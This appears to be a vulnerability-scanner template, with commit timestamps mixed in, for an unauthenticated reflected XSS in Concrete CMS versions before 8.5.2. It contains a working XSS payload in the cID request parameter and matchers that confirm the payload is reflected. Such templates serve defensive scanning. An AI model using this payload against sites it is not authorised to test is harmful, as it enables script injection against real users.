2022-08-15 21:55:19 +00:00
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id: concrete-xss
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2022-08-14 13:18:48 +00:00
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info:
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2022-08-15 21:55:19 +00:00
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name: Concrete - Unauthenticated Reflected XSS in preview_as_user function
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author: shifacyclewla,hackergautam,djoevanka
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severity: medium
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description: The Concrete CMS < 8.5.2 is vulnerable to Reflected XSS using cID parameter.
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2022-08-14 13:18:48 +00:00
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reference:
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2022-08-15 21:55:19 +00:00
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- https://hackerone.com/reports/643442
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- https://github.com/concrete5/concrete5/pull/7999
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2022-08-14 13:18:48 +00:00
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- https://twitter.com/JacksonHHax/status/1389222207805661187
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2022-08-15 21:55:19 +00:00
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tags: concrete,xss,cms,unauth
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2022-08-14 13:18:48 +00:00
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requests:
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- method: GET
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path:
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- '{{BaseURL}}/ccm/system/panels/page/preview_as_user/preview?cID="></iframe><svg/onload=alert("{{randstr}}")>'
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2022-08-14 13:18:48 +00:00
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matchers-condition: and
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matchers:
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2022-08-15 21:55:19 +00:00
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- type: word
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part: body
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2022-08-14 13:18:48 +00:00
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words:
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2022-08-15 21:55:19 +00:00
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- '</iframe><svg/onload=alert("{{randstr}}")>'
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2022-08-14 13:18:48 +00:00
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2022-08-15 21:55:19 +00:00
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- type: word
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part: header
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2022-08-15 21:55:19 +00:00
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words:
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- "text/html"
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- "CONCRETE5"
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condition: and
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- type: status
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2022-08-14 13:18:48 +00:00
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status:
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- 200
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